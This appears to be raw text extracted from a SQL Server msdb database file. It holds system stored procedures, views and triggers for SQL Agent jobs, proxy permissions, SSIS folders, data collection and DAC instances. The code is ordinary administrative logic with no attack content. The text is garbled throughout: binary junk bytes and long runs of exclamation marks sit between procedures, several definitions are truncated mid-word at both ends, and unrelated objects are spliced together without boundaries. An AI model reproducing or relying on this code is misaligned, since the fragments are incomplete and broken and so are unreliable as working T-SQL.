  IF @proxy_name         = '' SELECT @proxy_name = NULL
    
   EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                  '@proxy_id',
                                                   @proxy_name OUTPUT,
                                                   @proxy_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure

   EXECUTE @retval = sp_verify_subsystem_identifiers '@subsystem_name',
                                                  '@subsystem_id',
                                                   @subsystem_name OUTPUT,
                                                   @subsystem_id   OUTPUT
    IF (@retval <> 0)
      RETURN(1) -- Failure
   

  --TSQL subsystem is prohibited
  IF @subsystem_id = 1
   BEGIN
     RAISERROR(14530, -1, -1)
     RETURN(1) -- Failure
   END

  --check if we already added an user for the pair subsystem-proxy
  IF (EXISTS(SELECT * FROM sysproxysubsystem WHERE subsystem_id = @subsystem_id
               AND proxy_id = @proxy_id))
  BEGIN
     RAISERROR(14531, -1, -1)
     RETURN(1) -- Failure
   END

   -- For CmdExec and Powershell subsystems, make sure that proxy is mapped to windows login
    IF ((UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS) = 'CMDEXEC') OR
        (UPPER(@subsystem_name collate SQL_Latin1_General_CP1_CS_AS) = 'POWERSHELL'))
    BEGIN
        DECLARE  @credential_name [sysname] 
        DECLARE @credential_id [INT] 
    
        SELECT @credential_id = credential_id FROM sysproxies 
        WHERE  proxy_id = @proxy_id

        EXECUTE @retval = sp_verify_credential_identifiers '@credential_name',
                                                            '@credential_id',
                                                            @credential_name OUTPUT,
                                                            @credential_id   OUTPUT,
                                                            @allow_only_windows_credential = 1
        IF (@retval <> 0)
        BEGIN
            RETURN(1) -- Failure
        END
    END
  
   INSERT INTO sysproxysubsystem
   (  subsystem_id,  proxy_id )
   VALUES
   (  @subsystem_id,    @proxy_id )

END
0Č~ 8CREATE PROCEDURE [dbo].[sp_ssis_renamefolder]
  @folderid uniqueidentifier,
  @name sysname
AS
   --Check security
   IF (IS_MEMBER('db_ssisltduser')<>1) AND (IS_MEMBER('db_ssisadmin')<>1) AND (IS_SRVROLEMEMBER('sysadmin')<>1)
   BEGIN
       RAISERROR (14591, -1, -1, @name)
       RETURN 1  -- Failure
   END

   --// Security check passed, INSERT now
   UPDATE sysssispackagefolders
   SET [foldername] = @name
   WHERE [folderid] = @folderid
0W~ '8CREATE TRIGGER [syspolicy_validate_events] on [dbo].[syspolicy_facet_events]
AFTER INSERT, UPDATE
AS
BEGIN
    -- make sure that caller is dbo and all events inserted are real events.
    IF  (USER_ID() != 1) OR
        EXISTS (SELECT event_name FROM inserted 
                    WHERE event_name NOT IN(SELECT type_name from sys.event_notification_event_types))
    BEGIN
        RAISERROR(N'Unknown event name inserted into [dbo].[syspolicy_facet_events]', 1,1)
        ROLLBACK TRANSACTION
    END
END
0B~ %8((0))ELECT @fixed_server_role = NULL
  IF @msdb_role          = '' SELECT @msdb_role  = NULL
    
  EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                                 '@proxy_id',
                                                 @proxy_name OUTPUT,
                                                 @proxy_id   OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  EXECUTE @retval = sp_verify_login_identifiers  @login_name,
                                                 @fixed_server_role,
                                                 @msdb_role,
                                                 @name OUTPUT,
                                                 @sid OUTPUT,
                                                 @flags OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure
    
  -- is login member of sysadmin role?
  SELECT @is_sysadmin = 0
  IF (@login_name IS NOT NULL)
  BEGIN
     EXEC @is_sysadmin = sp_sqlagent_is_srvrolemember N'sysadmin', @login_name -- check role membership 
  END

  IF (@is_sysadmin = 1)
  BEGIN
   -- @name is sysadmin, it cannot granted to proxy
   -- issue a message and do nothing
   RAISERROR(14395, 10, 1, @name)
  END
  ELSE
  BEGIN
   --check if we already added an user for the pair subsystem-proxy
   IF (EXISTS(SELECT * FROM sysproxylogin WHERE proxy_id = @proxy_id 
               AND ISNULL(sid, 0) = ISNULL(@sid,0) 
               AND flags = @flags))
   BEGIN
      RAISERROR(14531, -1, -1)
      RETURN(1) -- Failure
   END

   INSERT INTO sysproxylogin
      (  proxy_id, sid,  flags )
      VALUES
      ( @proxy_id, @sid, @flags)
  END
END
0~ 8
CREATE PROCEDURE sp_help_jobhistory_sem
               @job_id               UNIQUEIDENTIFIER,
               @job_name             sysname,
               @step_id              INT,
               @sql_message_id       INT,
               @sql_severity         INT,
               @start_run_date       INT,
               @end_run_date         INT,
               @start_run_time       INT,
               @end_run_time         INT,
               @minimum_run_duration INT,
               @run_status           INT,
               @minimum_retries      INT,
               @oldest_first         INT,
               @server               sysname,
               @mode                 VARCHAR(7),
               @order_by             INT,
               @distributed_job_history BIT
AS
-- SQL Enterprise Manager format
IF(@distributed_job_history = 1)
  SELECT sj.job_id,
     null as step_name,
     sjh.last_outcome_message as message,
     sjh.last_run_outcome as run_status,
     sjh.last_run_date as run_date,
     sjh.last_run_time as run_time,
     sjh.last_run_duration as run_duration,
     null as operator_emailed,
     null as operator_netsentname,
     null as operator_paged
  FROM msdb.dbo.sysjobservers                sjh
  JOIN msdb.dbo.systargetservers sts ON (sts.server_id = sjh.server_id)
  JOIN msdb.dbo.sysjobs_view     sj  ON(sj.job_id = sjh.job_id)
  WHERE 
  (@job_id = sjh.job_id)
ELSE
  SELECT sjh.step_id,
     sjh.step_name,
     sjh.message,
     sjh.run_status,
     sjh.run_date,
     sjh.run_time,
     sjh.run_duration,
     operator_emailed = so1.name,
     operator_netsent = so2.name,
     operator_paged = so3.name
  FROM msdb.dbo.sysjobhistory                sjh
     LEFT OUTER JOIN msdb.dbo.sysoperators so1  ON (sjh.operator_id_emailed = so1.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so2  ON (sjh.operator_id_netsent = so2.id)
     LEFT OUTER JOIN msdb.dbo.sysoperators so3  ON (sjh.operator_id_paged = so3.id),
     msdb.dbo.sysjobs_view                 sj
  WHERE (sj.job_id = sjh.job_id)
  AND (@job_id = sjh.job_id)
  ORDER BY (sjh.instance_id * @order_by)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!F2`7J<wM:R`0"B 8CREATE VIEW dbo.sysoriginatingservers_view(originating_server_id, originating_server, master_server)
AS 
   SELECT
      0 AS originating_server_id, 
      UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName'))) AS originating_server,
      0 AS master_server
   UNION
   SELECT 
      originating_server_id,
      originating_server,
      master_server
   FROM
      dbo.sysoriginatingservers
0B 8CREATE PROCEDURE sp_delete_jobstep
  @job_id   UNIQUEIDENTIFIER = NULL, -- Must provide either this or job_name
  @job_name sysname          = NULL, -- Must provide either this or job_id
  @step_id  INT
AS
BEGIN
  DECLARE @retval      INT
  DECLARE @max_step_id INT
  DECLARE @valid_range VARCHAR(50)
  DECLARE @job_owner_sid VARBINARY(85)

  SET NOCOUNT ON

  EXECUTE @retval = sp_verify_job_identifiers '@job_name',
                                              '@job_id',
                                               @job_name OUTPUT,
                                               @job_id   OUTPUT,
                                               @owner_sid = @job_owner_sid OUTPUT
  IF (@retval <> 0)
    RETURN(1) -- Failure

  -- Check authority (only SQLServerAgent can delete a step of a non-local job)
  EXECUTE @retval = sp_verify_jobproc_caller @job_id = @job_id, @program_name = 'SQLAgent%'
  IF (@retval <> 0)
    RETURN(@retval)
    
  -- SQLAgentReader and SQLAgentOperator roles that can see all jobs
  -- cannot modify jobs they do not own
  IF (@job_owner_sid <> SUSER_SID()                   -- does not own the job
     AND (ISNULL(IS_SRVROLEMEMBER(N'sysadmin'), 0) <> 1))   -- is not sysadmin
  BEGIN
   RAISERROR(14525, -1, -1);
   RETURN(1) -- Failure
  END

  -- Get current maximum step id
  SELECT @max_step_id = ISNULL(MAX(step_id), 0)
  FROM msdb.dbo.sysjobsteps
  WHERE (job_id = @job_id)

  -- Check step id
  IF (@step_id < 0) OR (@step_id > @max_step_id)
  BEGIN
    SELECT @valid_range = FORMATMESSAGE(14201) + CONVERT(VARCHAR, @max_step_id)
    RAISERROR(14266, -1, -1, '@step_id', @valid_range)
    RETURN(1) -- Failure
  END

  BEGIN TRANSACTION

    -- Delete either the specified step or ALL the steps (if step id is 0)
    IF (@step_id = 0)
    BEGIN
      DELETE FROM msdb.dbo.sysjobsteps
      WHERE (job_id = @job_id)
     END
      ELSE
     BEGIN
      DELETE FROM msdb.dbo.sysjobsteps
      WHERE (job_id = @job_id)
        AND (step_id = @step_id)
    END

    IF (@step_id <> 0)
    BEGIN
      -- Adjust step id's
      UPDATE msdb.dbo.sysjobsteps
      SET step_id = step_id - 1
      WHERE (step_id > @step_id)
        AND (job_id = @job_id)

      -- Clean up OnSuccess/OnFail references
      UPDATE msdb.dbo.sysjobsteps
      SET on_success_step_id = on_success_step_id - 1
      WHERE (on_success_step_id > @step_id)
        AND (job_id = @job_id)

      UPDATE msdb.dbo.sysjobsteps
      SET on_fail_step_id = on_fail_step_id - 1
      WHERE (on_fail_step_id > @step_id)
        AND (job_id = @job_id)

      UPDATE msdb.dbo.sysjobsteps
      SET on_success_step_id = 0,
          on_success_action = 1   -- Quit With Success
      WHERE (on_success_step_id = @step_id)
        AND (job_id = @job_id)

      UPDATE msdb.dbo.sysjobsteps
      SET on_fail_step_id = 0,
          on_fail_action = 2   -- Quit With Failure
      WHERE (on_fail_step_id = @step_id)
        AND (job_id = @job_id)
        
    END

    
    -- Update the job's version/last-modified information
    UPDATE msdb.dbo.sysjobs
    SET version_number = version_number + 1,
        date_modified = GETDATE()
    WHERE (job_id = @job_id)

  COMMIT TRANSACTION

  -- Make sure that SQLServerAgent refreshes the job if the 'Has Steps' property has changed
  IF ((SELECT COUNT(*)
       FROM msdb.dbo.sysjobsteps
       WHERE (job_id = @job_id)) = 0)
  BEGIN
    -- NOTE: We only notify SQLServerAgent if we know the job has been cached
    IF (EXISTS (SELECT *
                FROM msdb.dbo.sysjobservers
                WHERE (job_id = @job_id)
                  AND (server_id = 0)))
      EXECUTE msdb.dbo.sp_sqlagent_notify @op_type       = N'J',
                                            @job_id      = @job_id,
                                            @action_type = N'U'
  END

  -- For a multi-server job, push changes to the target servers
  IF (EXISTS (SELECT *
              FROM msdb.dbo.sysjobservers
              WHERE (job_id = @job_id)
                AND (server_id <> 0)))
  BEGIN
    EXECUTE msdb.dbo.sp_post_msx_operation 'INSERT', 'JOB', @job_id
  END

  RETURN(0) -- Success
END
0
	C +8(getdate())06C R8
CREATE VIEW [dbo].[syscollector_execution_stats] AS
    SELECT
        log_id,
        task_name,
        execution_row_count_in,
        execution_row_count_out,
        execution_row_count_errors,
        execution_time_ms,
        log_time
    FROM dbo.syscollector_execution_stats_internal
0tC %8((0))       SERVERPROPERTY('ServerName') AS 'server_name'
    FROM sys.dm_os_performance_counters pc
0}Hh %8((0))0<i %8((0))0I0j +8(getdate())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!-)Y
			Z`	<AMi0g %8((0))0' 8CREATE PROCEDURE sp_delete_job_references
  @notify_sqlagent BIT = 1
AS
BEGIN
  DECLARE @deleted_job_id  UNIQUEIDENTIFIER
  DECLARE @task_id_as_char VARCHAR(10)
  DECLARE @job_is_cached   INT
  DECLARE @alert_name      sysname
  DECLARE @maintplan_plan_id  UNIQUEIDENTIFIER
  DECLARE @maintplan_subplan_id  UNIQUEIDENTIFIER

  -- Keep SQLServerAgent's cache in-sync and cleanup any 'webtask' cross-references to the deleted job(s)
  -- NOTE: The caller must have created a table called #temp_jobs_to_delete of the format
  --       (job_id UNIQUEIDENTIFIER NOT NULL, job_is_cached INT NOT NULL).

  DECLARE sqlagent_notify CURSOR LOCAL
  FOR
  SELECT job_id, job_is_cached
  FROM #temp_jobs_to_delete

  OPEN sqlagent_notify
  FETCH NEXT FROM sqlagent_notify INTO @deleted_job_id, @job_is_cached

  WHILE (@@fetch_status = 0)
  BEGIN
    -- NOTE: We only notify SQLServerAgent if we know the job has been cached
    IF(@job_is_cached = 1 AND @notify_sqlagent = 1)
      EXECUTE msdb.dbo.sp_sqlagent_notify @op_type     = N'J',
                                          @job_id      = @deleted_job_id,
                                          @action_type = N'D'

    IF (EXISTS (SELECT *
                FROM master.dbo.sysobjects
                WHERE (name = N'sp_cleanupwebtask')
                  AND (type = 'P')))
    BEGIN
      SELECT @task_id_as_char = CONVERT(VARCHAR(10), task_id)
      FROM msdb.dbo.systaskids
      WHERE (job_id = @deleted_job_id)
      IF (@task_id_as_char IS NOT NULL)
        EXECUTE ('master.dbo.sp_cleanupwebtask @taskid = ' + @task_id_as_char)
    END

    -- Maintenance plan cleanup for SQL 2005.
    -- If this job came from another server and it runs a subplan of a
    -- maintenance plan, then delete the subplan record. If that was
    -- the last subplan still referencing that plan, delete the plan.
    -- This removes a distributed maintenance plan from a target server
    -- once all of jobs from the master server that used that maintenance
    -- plan are deleted.
    SELECT @maintplan_plan_id = plans.plan_id, @maintplan_subplan_id = plans.subplan_id
    FROM sysmaintplan_subplans plans, sysjobs_view sjv
    WHERE plans.job_id = @deleted_job_id
      AND plans.job_id = sjv.job_id
      AND sjv.master_server = 1 -- This means the job came from the master

    IF (@maintplan_subplan_id is not NULL)
    BEGIN
      EXECUTE sp_maintplan_delete_subplan @subplan_id = @maintplan_subplan_id, @delete_jobs = 0
      IF (NOT EXISTS (SELECT *
                      FROM sysmaintplan_subplans
                      where plan_id = @maintplan_plan_id))
      BEGIN
        DECLARE @plan_name sysname

        SELECT @plan_name = name
          FROM sysmaintplan_plans
          WHERE id = @maintplan_plan_id

        EXECUTE sp_ssis_deletepackage @name = @plan_name, @folderid = '08aa12d5-8f98-4dab-a4fc-980b150a5dc8' -- this is the guid for 'Maintenance Plans'
      END
    END

    FETCH NEXT FROM sqlagent_notify INTO @deleted_job_id, @job_is_cached
  END
  DEALLOCATE sqlagent_notify

  -- Remove systaskid references (must do this AFTER sp_cleanupwebtask stuff)
  DELETE FROM msdb.dbo.systaskids
  WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

  -- Remove sysdbmaintplan_jobs references (legacy maintenance plans prior to SQL 2005)
  DELETE FROM msdb.dbo.sysdbmaintplan_jobs
  WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

  -- Finally, clean up any dangling references in sysalerts to the deleted job(s)
  DECLARE sysalerts_cleanup CURSOR LOCAL
  FOR
  SELECT name
  FROM msdb.dbo.sysalerts
  WHERE (job_id IN (SELECT job_id FROM #temp_jobs_to_delete))

  OPEN sysalerts_cleanup
  FETCH NEXT FROM sysalerts_cleanup INTO @alert_name
  WHILE (@@fetch_status = 0)
  BEGIN
    EXECUTE msdb.dbo.sp_update_alert @name   = @alert_name,
                                     @job_id = 0x00
    FETCH NEXT FROM sysalerts_cleanup INTO @alert_name
  END
  DEALLOCATE sysalerts_cleanup
END
0 /8(suser_sname())0| A8CREATE VIEW [dbo].[syscollector_collection_sets]
AS
    SELECT 
        s.collection_set_id,
        s.collection_set_uid,
        CASE 
            WHEN s.name_id IS NULL THEN s.name 
            ELSE FORMATMESSAGE(s.name_id)
        END AS name,        
        s.target,
        s.is_system,
        s.is_running,
        s.collection_mode,
        s.proxy_id,
        s.schedule_uid,
        s.collection_job_id,
        s.upload_job_id,
        s.logging_level,
        s.days_until_expiration,
        CASE 
            WHEN s.description_id IS NULL THEN s.description
            ELSE FORMATMESSAGE(s.description_id)
        END AS description,
        s.dump_on_any_error,
        s.dump_on_codes
    FROM 
        [dbo].[syscollector_collection_sets_internal] AS s
0| +8(getdate())0 8CREATE VIEW [dbo].[sysdac_instances]
AS
    SELECT
        -- this must be locked down because we use instance_id visability as a security gate
        case 
            when (dbo.fn_sysdac_is_currentuser_sa() = 1) then dac_instances.instance_id
            when sd.owner_sid = SUSER_SID() then dac_instances.instance_id
            else NULL
        end as instance_id,
        dac_instances.instance_name,
        dac_instances.type_name,
        dac_instances.type_version,
        dac_instances.description,
        case 
            when (dbo.fn_sysdac_is_currentuser_sa() = 1) then dac_instances.type_stream
            when sd.owner_sid = SUSER_SID() then dac_instances.type_stream
            else NULL
        end as type_stream,
        dac_instances.date_created,
        dac_instances.created_by,
        dac_instances.instance_name as database_name
    FROM sysdac_instances_internal dac_instances
    LEFT JOIN sys.databases sd
		ON dac_instances.instance_name = sd.name
0 %8((0))0(ݧ 58(sysdatetimeoffset())0a %8CREATE VIEW dbo.sysutility_ucp_aggregated_dac_health 
AS
SELECT t.dac_count
	   , t.dac_healthy_count
	   , t.dac_unhealthy_count
	   , t.dac_over_utilize_count
	   , t.dac_under_utilize_count
	   , t.dac_on_over_utilized_computer_count
	   , t.dac_on_under_utilized_computer_count
	   , t.dac_with_files_on_over_utilized_volume_count
	   , t.dac_with_files_on_under_utilized_volume_count
	   , t.dac_with_over_utilized_file_count
	   , t.dac_with_under_utilized_file_count
	   , t.dac_with_over_utilized_processor_count
	   , t.dac_with_under_utilized_processor_count
FROM msdb.dbo.sysutility_ucp_aggregated_dac_health_internal AS t
WHERE t.set_number = (SELECT latest_health_state_id FROM [msdb].[dbo].[sysutility_ucp_processing_state_internal])        
M @temp_schedules_to_delete)
    
    DELETE FROM msdb.dbo.sysjobservers
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)
    
    DELETE FROM msdb.dbo.sysjobsteps
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    DELETE FROM msdb.dbo.sysjobs
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

    DELETE FROM msdb.dbo.sysjobhistory
    WHERE job_id IN (SELECT job_id FROM #temp_jobs_to_delete)

   --Finally cleanup any orphaned sysschedules that were downloaded from the MSX
   DELETE msdb.dbo.sysschedules
   FROM msdb.dbo.sysschedules s
      JOIN msdb.dbo.sysoriginatingservers_view os ON (s.originating_server_id = os.originating_server_id)
   WHERE (os.originating_server = @msx_server)

  COMMIT TRANSACTION

  SELECT @jobs_deleted = COUNT(*)
  FROM #temp_jobs_to_delete

  DROP TABLE #temp_jobs_to_delete
END
0 /8(suser_sname())!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!pKl@rM'.S`<:Ma0t@ ?	8
CREATE PROCEDURE sp_enum_login_for_proxy
   @name         NVARCHAR(256) = NULL,
   @proxy_id        INT           = NULL,
   @proxy_name    sysname       = NULL
   -- must specify only one of above parameter to identify the proxy or none
AS
BEGIN
   DECLARE @retval   INT
  DECLARE @sid VARBINARY(85)
   SET NOCOUNT ON

   -- Remove any leading/trailing spaces from parameters
   SELECT @proxy_name              = LTRIM(RTRIM(@proxy_name))
   SELECT @name                    = LTRIM(RTRIM(@name))

  -- Turn [nullable] empty string parameters into NULLs
  IF @proxy_name         = '' SELECT @proxy_name = NULL
  IF @name                 = '' SELECT @name = NULL

   IF @proxy_name IS NOT NULL OR @proxy_id IS NOT NULL
   BEGIN
      EXECUTE @retval = sp_verify_proxy_identifiers '@proxy_name',
                                          '@proxy_id',
                                          @proxy_name OUTPUT,
                                          @proxy_id   OUTPUT
     IF (@retval <> 0)
       RETURN(1) -- Failure
   END

   IF (@name IS NOT NULL) AND 
     --force case insensitive comparation for NT users
     (ISNULL(SUSER_SID(@name, 0), 0) = 0) AND
     (ISNULL(IS_SRVROLEMEMBER(@name), -1) = -1) AND
      (ISNULL(IS_MEMBER(@name), -1) = -1)
   BEGIN
            RAISERROR(14520, -1, -1, @name)
            RETURN(1) -- Failure    
   END      

  --force case insensitive comparation for NT users
  SELECT @sid = SUSER_SID(@name, 0)
  IF @sid IS NULL -- then @name is a MSDB role
    SELECT @sid = sid FROM sys.database_principals
    WHERE  name = @name

  SELECT pl.proxy_id AS proxy_id, p.name AS proxy_name, pl.flags as flags, 
  CASE pl.flags
          WHEN  0 THEN SUSER_SNAME(pl.sid)  -- SQLLOGIN, NT USER/GROUP          
          WHEN  1 THEN SUSER_SNAME(pl.sid)  -- SQL fixed server role 
          WHEN  2 THEN USER_NAME(msdb.dbo.get_principal_id(pl.sid)) -- MSDB role
          ELSE         NULL -- should never be the case
  END AS name,  pl.sid AS sid, msdb.dbo.get_principal_id(pl.sid) AS principal_id
   FROM sysproxylogin pl JOIN sysproxies p ON pl.proxy_id = p.proxy_id
   WHERE  
        COALESCE(@proxy_id,     pl.proxy_id,     0 ) = ISNULL(pl.proxy_id, 0)  AND
        COALESCE(@sid,          pl.sid,          0 ) = ISNULL(pl.sid, 0) 
END
0L 8CREATE PROCEDURE sp_reassign_proxy
	@current_proxy_id [int] = NULL,  -- must specify either @current_proxy_id or @current_proxy_name 
	@current_proxy_name [sysname] = NULL, 
	@target_proxy_id [int] = NULL,  -- must specify either @target_proxy_id or @target_proxy_name 
	@target_proxy_name [sysname] = NULL -- N'' is a special case to allow change of an existing proxy as NULL (run job step in sql agent service account context)
AS
BEGIN
    DECLARE @retval   INT
    SET NOCOUNT ON
    
    -- validate current proxy id
    EXECUTE @retval = sp_verify_proxy_identifiers '@current_proxy_name',
                                                 '@current_proxy_id',
                                                @current_proxy_name OUTPUT,
                                                 @current_proxy_id   OUTPUT

    IF (@retval <> 0)
    BEGIN
        -- exception message was raised inside sp_verify_proxy_identifiers; we dont need to RAISERROR again here
        RETURN(1) -- Failure
    END

    -- @target_proxy_name = N'' is a special case to allow change of an existing proxy as NULL (run job step in sql agent service account context)
    IF (@target_proxy_id IS NOT NULL) OR (@target_proxy_name IS NOT NULL AND @target_proxy_name <> N'') 
    BEGIN
        EXECUTE @retval = sp_verify_proxy_identifiers '@target_proxy_name',
                                                 '@target_proxy_id',
                                                 @target_proxy_name OUTPUT,
                                                 @target_proxy_id   OUTPUT

        IF (@retval <> 0)
        BEGIN
            -- exception message was raised inside sp_verify_proxy_identifiers; we dont need to RAISERROR again here
            RETURN(1) -- Failure
        END
    END
 
    -- Validate that  current proxy id and target proxy id are not the same
    IF(@current_proxy_id = @target_proxy_id)
    BEGIN
        RAISERROR(14399, -1, -1, @current_proxy_id, @target_proxy_id)
	RETURN(1) -- Failure
    END

    DECLARE @job_id UNIQUEIDENTIFIER
    DECLARE @step_id int
    DECLARE @proxy_id int
    DECLARE @subsystem_id int

    -- cursor to enumerate list of job steps what has proxy_id as current proxy_id
    DECLARE @jobstep_cursor CURSOR
    SET @jobstep_cursor = CURSOR FOR
    SELECT js.job_id, js.step_id,  js.proxy_id , subsys.subsystem_id
    FROM sysjobsteps js  
    JOIN syssubsystems subsys ON js.subsystem = subsys.subsystem
    WHERE js.proxy_id = @current_proxy_id

    OPEN @jobstep_cursor
    FETCH NEXT FROM @jobstep_cursor INTO @job_id, @step_id, @proxy_id, @subsystem_id

    WHILE @@FETCH_STATUS = 0
    BEGIN
        -- current proxy might have been granted to be used by this specific subsystem
        -- making sure that the target proxy has been granted access to same subsystem
        -- Grant target proxy to subsystem if it was not granted before
        IF NOT EXISTS( SELECT  DISTINCT ps.proxy_id, subsyst.subsystem_id
                        FROM  syssubsystems subsyst  
                        JOIN sysproxysubsystem  ps ON  (ps.subsystem_id = subsyst.subsystem_id 
				                        AND ps.proxy_id = @target_proxy_id
				                        AND ps.subsystem_id = @subsystem_id)
                    )
        BEGIN
            -- throw error that user needs to grant permission to this target proxy
            IF @target_proxy_id IS NOT NULL
            BEGIN
		     RAISERROR(14400, -1, -1, @target_proxy_id, @subsystem_id)
		     RETURN(1) -- Failure
            END
        END

        -- Update proxy_id for job step with target proxy id using sp_update_jobstep 
        EXEC sp_update_jobstep @job_id = @job_id, @step_id = @step_id , @proxy_name = @target_proxy_name
              
        FETCH NEXT FROM @jobstep_cursor INTO @job_id, @step_id, @proxy_id, @subsystem_id
    END

    CLOSE @jobstep_cursor
    DEALLOCATE @jobstep_cursor

    RETURN(0)
END
0" +8(getdate())0[ /8(suser_sname())0yQ 8CREATE VIEW [dbo].[syscollector_config_store]
AS
    SELECT
        s.parameter_name,
        s.parameter_value
    FROM 
        [dbo].[syscollector_config_store_internal] s
